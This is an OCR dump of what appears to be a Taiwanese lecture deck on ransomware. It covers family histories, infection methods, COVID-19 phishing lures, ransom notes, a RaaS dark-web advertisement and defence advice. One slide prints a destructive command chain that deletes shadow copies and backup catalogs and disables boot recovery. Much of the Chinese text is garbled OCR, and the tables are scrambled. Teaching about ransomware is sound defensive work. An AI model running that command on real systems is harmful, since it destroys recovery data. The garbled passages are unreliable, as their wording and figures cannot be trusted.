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® EBARZREMRER (Infection):FRAEERESX , RESANERGFEH)ATEERERTE,
o ERIMZHMEER (Sabotage): MBZEEAMNEREER,
o HRBEFLER (Extortion) BRI BEHEERERWAL,

General ransomware use network to deliver itself, infect other hosts and send victims
information out by specific network protocols. The network traffic integrates protocol
behavior, and cryptographic data(signatures of victim) into C&C hosts to record/verify the
victim's identity for extortion purpose.

2Z&$. Europol, “Internet Organised Crime Threat Assessment 2016 (iOCTA)”, September 2016, URL:
https://www.europol.europa.eu/content/internet-organised-crime-threat-assessment-iocta-2016

££&P: Z. Shu, J. Wan, D. Li, J. Lin, A. V. Vasilakos, and M. Imran, “Security in software-defined networking: Threats and
countermeasures,” Mobile Networks and Applications, vol. 21, no. 5, pp. 764—-776
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CRYPTOLOCKER
RANSOMLOCK

URAUSY

2013 2014

2 &R hitps://id-ransomware.blogspot.com/2016/05/blog-post.html, 2019

—CRYPTODEFENSE
CRYPTOWALL

rfr.:E'.FEI’I]I'I

" LOCKDROID

‘VIRLOCK

TESLACRYPT

CTE-LOCKER
LOCKSCREEN

TOX

+TORRENTLOCKER
~OMALOCK
~CHIMERA

~13V3N
~LOCKY

~SAMSAM

HKERANGER
POWERWAR

ETYA

TESLACRYPT 3.0
~TESLACRYPT 4.0

CERBER
2017

RADAMANT

“HYDRACRYPT
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Ransomware
AIDS/PC Cyborg
GPcode
Archiveus Trojan

ZippoCrypt

CryptoLocker

CryptorBit

Cryptowall
CryptoBlocker
OphionLocker

CTB-Locker

TorrentLocker

SynoLocker

Spread Method

Floppy disk

Email

Spam emails, malicious websites

In Russia (aka Cryzip Ransomware)

Email

Email, or Web or fake flash
update/rogue antivirus product

Java vulnerability / Web Infection
Email, Download, File Sites
online advertising campaigns

exploit kits (Rig and Nuclear) or
downloader component (Dalexis,
Elenocka)

Email, Malicious Download page, or
Word document macros

TCP-5000,5001 with DSM 4.3-3810,
DSM 4.2-3236, DSM 4.1-2851, DSM
4.0-2257 and more.

Date
1989
2004
2006
2006

2013
2013

2014
2014
2014
2014

2014

2014

Encryption

RSA

Zip

AES

AES
AES
ECC
ECC

AES/RSA

RSA+AES

Network
No
HTTP
None

None

TOR
TOR

TOR

TOR
TOR

TOR

HTTP
TOR

Extortion Method
Files in Floppy disk
All Files Encrypted
Files Encrypted in My Docuemtns

All files moved into zip files with
password.

All Files Encrypted

All Files Encrypted

All Files Encrypted
File size less than 100MB
Delete Private key after 3 days

All Files Encrypted

All Files Encrypted

All Files Encrypted
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Ransomware
Pclock
CryptoWall 2.0
TeslaCrypt
VaultCrypt
CryptoWall 3/ 4
LowLevel04
Locky
SamSam
Dharma

Bit Paymer

GandCrab

\‘ Petya/NotPetya

WannyCrypto
XBash

Ryuk

Spread Method

Torrent Network

Email

Email, malicious ads of Web

JS, HTA from Email, Webs
system exploits

Terminal Services by brute force
email with Invoice(doc,xls,zip)

vulnerable JBoss host servers, RDP

Email to download self-extracting file.

RDP, Emotet, Zero day of iTune
Email or Multiple Exploit-Kit

Ukrainian tax preparation program,
email with pdf

EternalBlue, EternalRomance

Weakness password or Vulnerabilities

in Hadoop, Redis and ActiveMQ with
Python/Bash

email (Emotet, TrickBot), RDP

Date
2015
2015
2015
2015
2015
2015
2016
2016
2016
2017
2017

2016
2017

2017
2018

2018

Encryption
RC4

AES

AES

RSA

AES
AES/RSA
AES

RSA

AES

RC4, RSA
RC4, RSA
Salsa20

RSA
No (Delete)

RSA, AES

Network
HTTP

TOR

TOR
HTTP/HTTPS
12P

HTTP
Socket5

HTTP,TOR

None

TOR
HTTP

Extortion Method

Files Encrypted in user’s profile in 72 hrs
All Files Encrypted (Anti-VM)

Game Files Encrypted

All Files Encrypted

All Files Encrypted (and file name also)
Files Encrypted by AES, Key by RSA
All Files Encrypted

Major Victims are US Medical/Hospital
All Files Encrypted

All Files Encrypted

All Files Encrypted

Disk MBR

All Files Encrypted

Delete Database on Linux, MaxOS,
Windows(MySQL, MongoDB, PostgreSQL,
Hadoop)

All Files Encrypted
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Ransomware

CryptoNar

Scroboscope

FTCODE
eChOraix
JSWorm
MegaCortex

Sodinokibi

ERIS

| TFlower

Syrk

LooCipher

GermanWipe

Maze

Spread Method

Malicious files from Web and email

fake updates to AV instruments,
cracked games, pirated content
creation tools and free games

Email(invoice-themed)

QNAP NAS Devices (with GO)
JS, HTA from Email, Webs
Email, AD Server

Email, CVE-2018-8453, CVE-2019-
2725,EK (Sodin, Sodinokibi, Revil)

RIG Exploit Kit, SWF vulnerability of a
JavaScript from Web

email (macros), torrent websites,
malicious ADs and RDP(RemoteDesk)

Malicious files from Web and email

Document macros, Remote Desk,
P2P(Torrents, eMule)

Email with Malicious Document

Spelevo EK, email attachments,
torrent, websites, malicious ads.

Date

2018

2018

2019
2019
2019
2019
2019

2019

2019

2019

2019

2019
2019

Encryption
AES

RC2

AES+RSA

RSA

AES

Salsa20+ RSA

AES

AES

AES

(Fake All)
RSA, ChaCha

Network

ICMP

TOR

HTTP
HTTPS

ICMP

TOR

None

Extortion Method

Some Files Encrypted, Open Source
Ransomware Targets Fortnite Users (Game)

VB Code to encrypt all files

All Files Encrypted

All Files Encrypted on NAS Devices
All Files Encrypted

Random Files/Directory Encrypted

All Files Encrypted
It will not encrypt files if it detects lock.txt

All Files Encrypted

All Files Encrypted without changing
filename at all.

Some Files Encrypted, Open Source
Ransomware Targets Fortnite Users (Game)

All Files Encrypted

All Files Encrypted

It will not encrypt files if it detects
C:\hutchins.txt.




WannacCrypto Yes Yes, SMB &)@ (/) Doamin Killer-Switch = Unknown (K50
(BR)E (LENINE-FrAEEH B %)

Sodinokibi Yes No | (LN nE-FrE E R B #) ek BREN, ERH

Dharma Yes No & SLENINZR-FrE & R B #) HEI=E4 BREN, B

Ryuk Yes No = (LEmE-FrEE R B i) £IR Unknown (&%)

GandCrab Yes No & (BN -FrEER B #%) HEI=ES REHT

Maze Yes No | (LB E-FrEE R B &) £k Unknown (5 %1)

Nemty Yes No & CLEDINE-FRE &R B #) BEEZ EA (JLEE, FMEg)

Apollon865 Yes Yes, Password Attack £ LEE-FREE R B 8R) (BEEXR) FEIKE, & FEA (FEKE)

Bitsran Yes Yes, RISEEEARE & LEMNEB-FAEER B &) AE-FEIB L8R, BEH, S RE
SERERR

CPC-# A Yes AD + BRB8TOIA 4 5l UTC+8 4 12:10 & N A &-CPC ZEA (FPEKRE)

PS1/DLL BEER (EERERER)

WastedLocker Yes AD + BXR8 TS 1 5l & SLENINZR-FrE & R B #) Garmin ((28). ZxR*E BREN, Bl
BERERER GG

MountLocker Yes Unknown Copyrighte(d) 2618 2620858 8) = REEXEAABRER)  Unknown




Common Industries Targeted by Ransomware in Q2 2019

Public Sector

2 A0
0

Transportation
2.3%

Food & Staples
4.5%

Financial Services

0,
3.4%

Materials
6.8%

Software Serv.
20.5%

Prof. Services

18.2%

Real Estate

10 2%

V.0

Consumer Services
12.5%

B & 3E Source: Coveware

Health Care

SEE R hitps://Iwww.bankinfosecurity.com/ransomware-as-gandcrab-retires-sodinokibi-rises-a-12788
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Country Rank by Ransomware Detections | June 2018 - June 2019

Consumer & Business Products

South America

| BB RGBS

Fr;;ace
taly BEEEERERS , @RcHEER BRE

« S0%MIEHERE  BEERENSI000EE,
« #iE1/6 WMBRHRWE , EEH5/ MU LN RFEEBERBRA) o

2

Brazil — ' United « 0%MMEHTRHE K TEHI/NEU LN REEBEREEXK).
7% States
53%
United -
Kingdom Ransomware Target Focus 12 Month View | June 2018 - June 2019
9%
Consumer
Canada 6,000,000 Aug. 18 | 5,702,894
10% = Consumer s Organizations
5,000,000
Sioura 17 Top 10 e e e Consumer
Figure 17. Top 10 countnies ror Fansomware Dec. 18 | 2’555‘25?
= 4,000,000 | C
EXBUAME , SENZHRIBEKRR Ao 19 | 2.016,396 Consumer
. Jun. 19 | 1,625,351
3,000,000 \\\
——‘\“\ — ‘N"-.
2,000,000
Organizations Organizations Organizations ) \
Aug 18 | 32,038 Dec. 18 | 193,550 Apr.1% | 830,531
1,000,000 ~. |
\ ™. Organizations
~ Jun-19 | 1,403,496
[s]

1-Jun TJul T-Aug T-Sep T-0ct T-Mow  1-Dec T-Jan T-Feb  T-Mar  T-Apr 1-May  T-Jun
2ZEH: hitps://www.pcmag.com/news/370073/ransomware-attacks-on-businesses-are-skyrocketing

2% H: hitps://blog.malwarebytes.com/101/2017/07/the-state-of-ransomware-among-smbs/ Figure 2. Ransomware target shift from June 2018 to June 2019
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Ransomware

i % N2 0 3R Y B
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BitCoin H4&%

(58 451 8 457 7 2 BB & By
BEMEE  ERAR
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Ra. BEEEKEEE
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RSA, DES, AES, ...
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. 4]

BERRBR 6 AEEHAR
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+ SMB,RDP #EHA
« USB&E{EEZE
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mERE, REFRME

© BERBEAE SENEHRRE  BEEIAREES
- BRI (DEFERS)RBEEEEE SR E
S EE R https://www.hkcert.org/my_url/zh/blog/18092802 E, UEREEREARSHEHRE.

£:2% % P. T. Nolen Scaife, Henry Carter and K. R. Butler.Cryptolock (and drop it): Stopping ransomware attacks on user data. In 2016 IEEE 36th International Co

stems) pages 303-312, 2016.
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8£ % ¥ emsisoft, State of Ransomware in the U.S.: 2019 Report for Q1 to Q3, https://blog.emsisoft.com/en/34193/state-of-ransomware-in-the-u-s-2019-report-for-q1-to-q3/, 2019
£:E % ¥} FBI USA, High-Impact Ransomware Attacks Threaten U.S. Businesses And Organizations , https://www.ic3.gov/media/2019/191002.aspx, 2019

2:EE R, hitps://www.paloaltonetworks.com/cyberpedia/ransomware-common-attack-methods, 2019

SEE R https://www.itproportal.com/features/the-four-most-popular-methods-hackers-use-to-spread-ransomwasprdBi&) 2019-2020 218 R Diamond Liu (Te-Min Liu) dmliu99999@gmail.com
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Corona Virus 19 Malware
REMAALS EBEEEEX

o 20203 A FM , BEREERBEWHOR =, FiAMAKIEEH, =EEIRK Corona-Virus-19 = Covid-19
- EBRBA rfﬁf*ﬁi[h B TERME, BN BEEREMEEE, SEFAMMAHER, BERS.

o AW, EEMUHERETFTRWHONREEEEMN, £ XHBERNBEFNARBRER , HEEHRENEEZEER,
- EEESREN  SETHEAS. BEURREE. ATMERAR Eﬁykﬁﬁﬂﬁ%%%ﬁﬂo

WHO, Covid-19
ZEREX , PEREMF

Victims
BREHBRE , ZEZEHER

- ELEBETWHOM A 1B EE(Corona-Virus-19, 5 Covid-19)EFZ¥EFEH THIIBERE .
ELXSRBEBN: Bk, %Fﬂ' THME BE50. IREE, KERKR., BFITAE. EREEESE,
. EHUE%“‘ﬁEJT\%{EE/T\ EEREEHEAMIESHED K FHREREX, FEP, HERBPXNEH,
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2020-04-12 07:46:23
2020-04-11 17:37:12
2020-04-11 11:49:24
2020-04-11 11:48:17
2020-04-11 11:49:11
2020-04-11 11:30:37
2020-04-11 11:30:32
2020-04-10 16:25:43
2020-04-10 16:25:38
2020-04-10 09:50:00
2020-04-10 09:49:56
2020-04-10 09:36:24
2020-04-10 09:36:20
2020-04-09 20:12:09
2020-04-09 20:11:49
2020-04-09 20:11:16
2020-04-09 18:28:36
2020-04-09 1&8:27:06
2020-04-09 18:16:20
2020-04-09 10:37:09

bfa7969a481c86574a145518a...
76299 e863b71caed1b9950d90...

e9c607f263a9290db1bf0465c8...
6fc2877b40e3210f9b941f3e2...

b398c602a2c9bab/ad128bcd..

55bca5b04c51f798dbc5d443 e...
3831d4644bf15594d79bf2cal...

c2c89da1518a4950cedec3129...

c50c2962fbf806d36cdbfcd79...
c9daeBaf9343e2bb59a9chchf...

691b6128674bb8ae31b9%de78...
fd9aba0256ab021766611460d..

f690c31010f082849101dfdd9...

da1305da0ae/6ad97c57d6E3d...

eal45fb0ad5c7337cefc168ch..

b10486fadbad291aa60462bc..

3f7326176e42757f5babcf038...

3504872c9d3a369ccebB82e8h...
1a5507078f5ea28189135c246...

@ Xlsx  njrat] (RAT | xda

Mexe (cOVID-15] cxe ] NanoGore 2] nvpn [ RAT)
Mexe (AsyneRATEZ] COVD-19 ] cxe | RAT)

@ xis (AsyneRAT (] coviD-19 | RAT] s

@ doc (AsyneRATIZ] COVID-19 ] doc [RAT

[ exe  njrat S COVID-19 ] exe

B rar  njrat] rar | RAT

[ exe G CCCEDE (nvpn | RAT
B rar  njrat] [ nvpn | rar | RAT
Dexe (COVID-15] exe | Guloader &

B zip

exe (covip-15] exe Jtokies}

B zip | cOVID-19 L gz J Loki

Mexe R [ COVID-19 ] exe

M exe (Agentiesia 2] COVID-19 ] oxe

—— (c0viD-19] exc ] remeos 2 | RemcosRATE)
M exe (Agentiesia 2] COVID-19] exc

@ s

B7z

1167337ff68b7b90ac dOQMEH () 2015,2628:06 * DixfEmmgEpIn L WATRT) [ nvpn | RAT ] scr ]

ail.c




Corona-Virus-19 Malware

Windows T Professional 32bit

Windows T Professional 32bit
14 .I'kpril 2020 0955

Windows T Professional 32bit

Windows T Professional 32bit
-|i'-.|'k|3-ri| 2020 0928

Windows T Professional 32bit

Windows T Professional 32bit
14 Apnl 2020, 09:12

Windows T Professional 32bit

Windows T Professional 32bit
14 .I'kpril 2020 08:41

rF P PF

‘

F rF wFr

Malicious activity

Malicious activity
BETA
Suspicious activity
=5
No threats detected
=MB
Malicious activity
=l

Malicious activity

Malicious activity

Malicious activity

ffe8dbh5865f54938724321968c9a6 1 83fdf Th79f62b1 Th5093af5028497cb33 . exe
covid19

Intel_rar

RAR archive data, v5
covid19

Covid-19.exe
covid19

Covid-19.exe

PE32 executable (GUI) Intel 80386, for MS Windows

covid19

5fTa5dc9e6ef334bel 1f766f6fa59237109d6c20a8aa%4 Tecd T9b0046394a6f4

trojan cowid19 rat nrat bladabindi

5f7a5dc9e6ef334bel 1f766f6fa59237109d6c20a8aa%4 Tecd T9b0046394a6f4

Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1

trojan cowid19 rat nprat  bladabindi

5fTa5dc9e6ef334bel 1f766f6fa59237109d6c20aB8aa%4 Tecd T9b0046394a6f4

trojan cowid19 rat nrat bladabindi

Contact Center Work-at-Home Guidelines for COVID-19.emil
SMTP mail, ASCII text, with CBLF line terminators
convid19

Copyright (c) 2019-2020 %1 {¥ & Diamond Liu (Te-Min Liu)

dmliu99999@gmail.com




Corona-Virus-19 Malware

W.H.O."CORONAVIRUS(COV,19) SAFETY&PREVENTIVE MEA...
(4%  W.H.0. (WORLD HEALTH ORGANIZATION) <phedoc@who.int> L*

HEA iB— 20:36

ZIP

Good Day!

World Health
Organlzatlon

With regards to the 'Medical Outbreak’ in the World due to

Coronavirus (CoV) thre a’remm o run riot all over the world; we know,
this is a stressful time and we all want to know what we can do right now
to protect ourselves and our families to prevent from getting exposed to

this disease.

£ 26 HEE , = 50% FH | 4 >

WORLD HEALTH ORGANIZA... -

RET|OEHRE > §RFA58£;58 - HawkEye Reborn v10(X) 24

Copyright (c) 2019-2020 214§ K Diamond Liu (Te-Min Liu)
dmliu99999@gmail.com



Corona-Virus-19 Malware

*x*gSPAM*** Breaking!!! COVID-19 Solution Announced by ...

Z{4E  Director-General <tendros.adhanom@who.int>

= .COm
HER A 21:35

As published in the World Health Organisation newsletter 3/17/2020 6:35:45 a.m..

A new collaborative study has identified and studied COVID-19 Virus antibodies

that could be used to design universal therapeutics that are effective against

many different COVID-19 Virus species. The findings were recently published

in Nature Microbiclogy.

These are based on natural activities and how heat has helped to inhibit the virus growth.

The COVID-19 Virus causes a severe illness with high mortality rates in humans.

Several strategies have been developed to treat COVID-19 Virus infection, including ZMapp,
which has been shown to be effective in non-human primates and has been used under
compassionate-treatment protocols in humans...

Please download the full text in the attached document...

£ 13 HEE X5 5095 4 ¥

a3 CovID-19 Solution by W.H.... ~

RETHROHEHFE  REFRRIVNHOBTRY - BRI AS b
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2020/6/12 (8F) L5 1031
EEEEL <Shun-Ping.Cheng@mohw.gov.tw>
SEEcovid-190#SRE (S8EES)

W&EE  undisclosed-recipients:

A= Covid-19F#F &5 ppt (70 KB) covid-19fAF & =ER pot (70 KB)

= < i 9,
-"’f'ﬁ”"*l @ & ma F &R gl cmne

\ /4 Ministry of Health and Welfare R :
: RERES Taiwangov.iw

i

HEREE
PSR A covid- 19EIFEST: - NS EREE RS ERMA IR A AT ERES Foonid- |95 RE - HETEERMRE » DBEILSEDEENE FST L B AL -

EEMRE - SRR - BRSEER - SHAEEE -

FERERSMFEHEHESIETENS | Shun Pinz ChensGmehw zov.tw
e
« ZfJEF

« EFEEEREMLE

. FEiafl B R ERE

o  EIRFAE 4HE 0225220888 Hibk
(1034 EIEHR A RS0

o httpssfwww.hpa.sov.tw/

» Shun-Fing.Cheng ®mohw.gov.iw

GEH LR BATRONEHEL  §REELLA0




Corona-Virus-19 Malware

(1) 33 engines detected this file

° Covid-19F7# 55 ppt
- auto-close email-pattern MACros ppt run-file
Community
Score
DETECTION DETAILS BEHAVIOR COMMUNITY €
Ad-Aware (1) Trojan.GenerickD.34008980

Arcabit (1) Trojan.Generic.D206EF94

AVG @ OtherMalware-gen [Tr]
BitDefender (1) Trojan.GenericKD.34008980
Comodo @ Malware@#k66fljtpzdl3

Cyren @ Trojan QWUB-G

Endgame @ Malicious (high Confidence)
ESET-MOD32 @ VBA/TrojanDownloader. Agent. THI

ba5c251f78a1d57b72901f4ff80824d6ad0aa4bf1931c593a36254db4ab41021

AlLYac

Avast

Avira (no cloud)

ClamaAv

Cynet

Emsisoft

eScan

F-Prot

@ 0 6 06 © B @ O

P
f ]
e

69.50 KB G'i
Size PPT

Trojan.GenericKD.34008980

Other:Malware-gen [Trj]

VBA/DIdr. Agent.prifd

Doc Dropper.Agent-8019574-0

Malicious (score: 85)

Trojan.GenerickKD. 34008980 (B)

Trojan.GenericKD.34008980

New Or Modified FP9TM/Agent

BREMARNE > RATERGRHEHRE > gREEILA
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Corona-Virus-19 Malware

CORONAVIRUS is there
All your file are crypted.
Your computer is temporarily blocked on several levels.
Applying strong military secret encryption algorithm.

To assist in decrypting your files, you must do the following:

1. Pay 0.008 btc to Bitcoin wallet bclqjleufmwct84wwe9zwyxe99gext7zaeqkyhx2ee
or purchase the receipt Bitcoin;

2. Contact us by e-mail: coronaVi2e22@protonmail.ch and tell us this your
unique ID: 1C34C1D72B234EA60B8247956442575C

and send the link to Bitcoin transaction generated or Bitcoin check number.
After all this, you get in your email the following:

1. Instructions and software to unlock your computer

2. Program - decryptor of your files.

Donations to the US presidential elections are accepted around the clock.
Desine sperare qui hic intras! [Wait to payment timeout 25 - 40 min]

345 )éft'?, #R é‘f‘l‘f?]' = %% ﬁ; » 5% 3‘; g ;lg_%';% % 3 .;f—p.»'-i--ﬁ ;}-#;% » 4y '.% » ;—? M Copyright (c) 2019-2020 248 R Diamond Liu (Te-Min Liu)
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RaaS, IN% ) 3 /Y E s AR 7%

BRNZYRIES (RK, Ransom Kit)

« Ransomware author(s) create a RaasS kit for a cybercrime group.

EHEBEHE RK TEZ |

* The group promotes the RaaS kit on the Dark Web and other platforms.

EREHEETRK HERX S

» Buyer purchases the RaaS Kkit.

#RKﬂﬁﬂ ERBRHERIRE

» The buyer distributes the ransomware either on their own or with the help of a
dedicated distribution service.

Y EmXNEEFS

| W If successful, the victims are infec 6 Q_y ransom. J\_A
2EZER: https://blog.emsisoft.com/en/29220/ransomware-as-a-service/, 20



RaaS, Ransomware as a Service

RANI@N _ Better & Cheapest FUD Ransomware + Darknet C&C + NO Fees

BUY - FAQ - REVIEWS - SCREENS - CONTACT

We provide an already configured and compiled FUD Ransomware + Decrypter
We are the only that provide a FREE Anonymous C&C Dashboard via Onion to manage vour Clients
We also provide additional FREE Customizations and take NO FEES from yvour Clients

DISCLAIMER: Our Products are for EDUCATIONAL PURPOSES ONLY.
Don't use them for illegal activities. You are the only responsable for your actions!
Our Products/Services are sold with NO WARRANTY and AS ARE.

#*** THE ONLY ORIGINAL ONE: ranionjgoticud3p.onion ***

Version: 1.10

=NEWS =

2EZE R http://ranionjgotScud3p.onion/index.html, 2019 o o



RaaS, Ransomware as a Service

—= CHOOSE YOUR PACKAGE =




RaaS, Ransomware as a Service

—=PACKAGES COMPARISON =
Subscription 6 Months 12 Months 12 Months
Darknet Cé&C Dashboard Yes Yes Yes Yes

Features: Delayed Start, Delaved Encryption, Mutex, Task Manager/Registry

Editor Disabler, UAC Bypass, Desktop Wallpaper Changer Yes Yes Yes Yes
Offline Encryption No Yes Yes Yes
Support No Yes Yes Yes
Real-Time Client Manager No Yes Yes Yes
Dropper No Buy Yes Yes
Clone No Buy Buy Yes
FUD+Obfuscator Buy Buy Buy Yes
Unlallable Process No Buy Buy Yes
FUD Stub # 1 1 2 12
Price 120USD 490 USD 900 USD 1900 USD

2EZE R http://ranionjgotScud3p.onion/index.html, 2019 o o



RaaS, Ransomware as a Service

We are the only that provide a FREE Anomymous C&C Dashboard via Onion to manage your Clients
We also provide additional FREE Customizations and take NO FEES fram your Clients

DISCLAIMER: Our Products are for EDUCATIONAL PURPOSES ONLY.
Don't use them for illegal activities. You are the only responsable for your actions!
Our Products/Services are sold with NO WARRANTY and AS ARE.

**%* THE ONLY ORIGINAL ONE: ranionjgoticud3p.onion ***

Version: 1.10

o

—REVIEWS =

You can Trust us! See our Reviews and/or Contact us :-)

* Review on Bleeping Computer: http-//www bleepingcomputer.com/
* Reviews on OnionDir: http-//auutavpt2 zldzcwne onion/

* Verified Seller on KickAss Forum:  hitp:/kickassusveoftuk omon/

* Verified Seller on Oday Forum: http-//gzblkwswivik2oi5d onion/

2EEH,: http://ranionjgot5cud3p.onion/index.html, 2019



% User Account Control @

Do you want to allow the following program to make
changes to this computer?

Program name:  Windows Command Processor
Verified publisher: Microsoft Windows

Lycorisradiata Program location: "C:\Windows\SysWOW64\cmd.exe" /c

vssadmin delete shadows /all /quiet &

wmic shadowcopy delete & bededit /set

{default} bootstatuspolicy ignoreallfailures

& bededit /set {default} recoveryenabled no

5 HAAEAR
(CBEARE)

1.Downloader#® , HIR "#17., W
RAEM, Hlu BAARB(EL), B
B T EHE #(Fake Update), {2
UAC (FRERB)EEEN,
2EITEE TOR, HTTP,HTTPS,
SMTP,FTP,RDP, SMB, & 2&H.

R AREAR
(hn 2 B BY)

LEBREERAEHERET.
2. B AT EEEE TR
I B R (A HERRIE E
EEARE),
BRAREBEXBEEA

=|
SN

o

& wbadmin delete catalog -quiet

tion about this publisher's cel

(BhRPEER) o

69,

1LEEHRSRALXF,
2. BRI, BkHHEREM,

A ) Hide details
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B

® Block the propagation path of ransomwares to
get into the potential victim’s devices.

® Backup the files and database into safety
containers.

® Detect the source of Ransomware from.

FIEMR

® Victims got some email with document macro or
malicious attachment file which asking ‘Enable Content
or popup an UAC alert screen.

® Fake update or installation from Web sites.

® Freeware or procedures asking to disable AV service.

® Network Request with SMTP/TOR/HTTP/HTTPS/FTP
in background.

® Unusual DNS Domain Query

® CPU getting busy suddenly
® Bytes of I/O Reading and Writing were

® Some files is waiting to write into CD/VCD
® Network traffic of SMB or RDP increased
@ Database service stopping unexpectedly

___________________________________________________________________ .
BEEd
B&:
® Find and fixed the weakness of this event.
® Use some decrypt tools to save victim’s files.
® Restore the backup files to reduce data damage.
® Rebuild and retest the robust of security system.

A RAAEAR RIFIE R

® Victims cannot open files stored on your
computer, previously functional files now have a
different extension.

® Aransom demand message is displayed on
your desktop.

® Cyber criminals demand payment of a ransom
(usually in Bitcoins) to unlock your files.

increased by a new process
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IZHPRESFANERL N

MZBREXNMARABIFZSHA ,
TUREPEA. ER , ¥R5E
FENFR , R INZDR
BEERX.

Not only these major approach can
install ransomware into victim’s system,
but also attackers can combine multiple
airing approaches into a single
ransomware. More than this, there is a
new dark service called ‘Ransomware as
a service, RaaS’ which can provide a
complete service to extortion victims.

To delivery a ransomware, these are
most popular approaches to keep in mind:

EK (Exploit Kits)

Web Site with malicious JS code
Fake Computer Program
Malicious Email

Weak RDP/SMB Protocol Service

abhwOdE

RaaS, Ransomware as a Service

2EZEH: hitps://blog.emsisoft.com/en/29220/ransomware-as-a-service/ ,2019

Exploits Kit (EK)
Ransomware uses the Vulnerabilities of
victims to go into system.

Web injects JS Code

Victims browsed the website which contains
malicious JavaScript code.

Fake updates tools

Attackers put ransomware into
camouflaged utility which pretends an
update hot fixed or freeware, even a

Emails with document macro
A malicious macro in an Excel, Word or PDF
file designed for downloading ransomware.

Unprotected RDP/SMB Service

Weakness password of Remote Desktop or
System was compromised to extortion.



® (Email) Malicious attachments of phishing emails
® (EK) Expiloit kits (Angler, Blackhole, RIG, Nuclear, Magnitude,
PSS Tz Stegano, Flash, Zero-day)
® [ake update or repackaged distributions hot fixed of Windows and
other software
® |Infected archives, installers of freeware, shareware or commercial

- 2 -
F Ta
| — software
u ﬁ -E_- ® Download files using a peer-to-peer P2P network, torrents, shared

resources

Trojan downloaders and installers (Trojan-Downloader, Backdoor,

- "\ ®
AR . B
® \Web sites hacked for the purpose of infection, placement of exploits

or other compromises

® Aggressive, malicious advertising, banners, rotation, click-bates,
E % ﬁyg black SEO, injections
® Links to images, hidden and shortened links, redirect, clickjacking.
® Malicious File downloads through special remote management tools,
RAT or botnets
® Malicious browser extensions and links to fake browser extensions
® The unusual behavior such as drive-by download, drive-by login,

drive-by client and close ones
® The usage of files with a legitimate digital signature that perform

>
_
_
_

e certain functions
These are also the major weamess\_\ ® Received URL links to view or download videos, images, archives,
of most organizations in the ——invitations.

cybersecurity issues. ® Darknet Web sites, cyber underground forums, RaaS, MaaS
distributors and others

2 & #: hitps://blog.emsisoft.com/en/29220/ransomware-as-a-service/ ,2019
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Your files are corrupted!

Identificator for files: N7RHDAI

E-mail for contact: symmetries@tutamail.com

Backup e-mail for contact : symmetries0@tutanota.com m%%ﬁ‘ bu@ﬁﬂ‘ ﬁiﬁgﬁﬁm
’ - ' o BRI  WMRHTLLEE R E R4,
Free decryption as guarantee! o MEER K TEERERNHEERERNR.
o HEFRF K EXRRELHMEE,

Before paving vou can request free decryption of 3 files.
Total size of files must be less than SMB (non-archived). N NI 4 N =
FRERTEERBTEZEN VBR BBES , IBiF%E
3] LooCipher — ERREERRERRER , M ETEMRE  EREREED
|:| RIFEET , BRI REINEREK,

All your imporant files are encrypted!
Al your important fles (photos, documents, databases, etc.), including those on the network disks, USB, etc. were %gifﬁﬁﬂﬁ Hg W :gbu% _ N
encrypted using a strong algorthm with a private and unique key generated for this computer. This key is stored in our jJ[I %Hﬂ;ﬁaﬁﬁ%ﬁﬁ , m%l&% F)‘iﬁ]-ﬂ’g %g%%z -0 ﬂﬁﬁ*ﬁhﬁﬁ
FR, RTHREREZ , METEBRHE T EEEREHDER

=/
But you need to make the payment before 5 days after your fles were encrypted, since the server wil ;Exﬁk °
automatically destroy your key after that period and then nobody will ever be able to restore your files.
Don't spend your time searching alternative solutions to recover your files because there is no other solution. If you don't

TOR server and the only way to receive your key and decrypt your fies is making a Bitcoin payment.

We strongly guarantee that you can recover all your files safely and easily.

know how to buy Bitcoins click — . TO RECOVER YOUR FILES FOLLOW THESE 3 STEPS:

1. Send at least €300 worth of Bitcoin to this Bitcoin address generated for you: %ﬂg{ !Hﬁ y a&ﬁi*gﬁﬁﬁﬂgm
natcyispraageacsimen | [ WEETAESEEARE  MERELERRNEE, HEELIF S
nce you have made the payment click — [T $E MERETAEEAEGREENCEMEBERLMRK. Fim
: =a e 2017EFEIBAEERMEIREY , BN HIERHIHE,

3. If your payment was approved, this <DECRYPT> button will get automatically enabled.
Then, just click it to decrypt all your files:

our key will be destroyed on:
| ~ 2019/10/30 18:07
@ Server is up aeaeid 119:57:27

S =5 At 2. ohu, J. , DL I LN, ATV Vasilakos, and M , oecurity in software-defined networking: Threats and countermeasures,” Mobile Networks and Applications, vol. 21, no. 5, pp. 764-776, Oct 2016
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IR ERNARETRSM

BRYADEIER , £ F 28I ME#HRES ,
HEELEREHRENTA , HIMTORE
A, EEEEMNTHE , CRCEBAZE
EZ2HIBEESMTP, RDP, SMB £%i&
Ao MRS RIEH AT LAUE E in LA E 1 2 fR Bk

R EH- RERHRENER

EMZHRERNC L TR INEBE)BE
WEHBERSRAS(EMORER , BEEX
Ee A —EE2FERER Hiw
GermanWipe) fREEREAE , AMHIEE
BEl, phEER , REXENFRz2— MR
WEENERNERNEDTER , RUENE
BiEwEZ—,

N33 $h 5% B 5 = - THP S

« RHEARCEAPEER)
« HHAEAR(INERPEER)
« REPEMR(FREER)

EELTEMRER , ITABRUREEERES
B, ERENZHRBEBENRE.

20194 |, 1R1% FBI PR HY 1-100219-
PSARNELZEAREER , S NFHRA
B O XNESWIFRERE. BFZHER,
RIFEBEEE , WARENSHEZSBHER
BERER, HYEHN , ERNPHEESHS ,
A LERIRAEALZERERE D |, EMIK
Em=ERME,

SEE R FBI USA, High-Impact Ransomware Attacks Threaten U.S. Businesses And Organizations , https://www.ic3.gov/imedia/2019/191002.aspx, 2019



foffujoRELRIAR S0 * [Engien

Crypto Sheriff Ransomware: Q&A Prevention Advice Decryption Tools Report a Crime Partners About the Project

New decryptor for Puma available, please click here.

-

NEED HELP unlocking your digital life

without paying your attackers¥*?

Ransomware is malware that locks your computer and mobile devices or encrypts your electronic files. When this

2EZEH: https://www.nomoreransom.org/ar/index.html, 2019
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ERBHESH
REMZBREAER , RIEHETENHER,

RN aTTRDI
R AP EEFE ZEMEZHRER , HEREATR . 8
—BREIENBYZRES  PUEXRE EER—REBTANEAR , fITOR,
BEAPINNXE, BEHETEHIE.
Ransom
HHEEEARTR
ZEMEZEHRER , SHRIACERRIE
MEFEAPIRINFE N ER A =1E o = EY Vo “ha
RIEMBAPIE % A MBRRE , T @ ME I HEUABERS A LR
DR EE AR E%ﬁ
EERRIBRNERA
168 ,U\%%ﬁﬂﬁgz%%fﬁﬁﬁ , AILAPEIES
Big Data BNZHREXANARRE,
ERXEEBRALIN K ERLEELNER
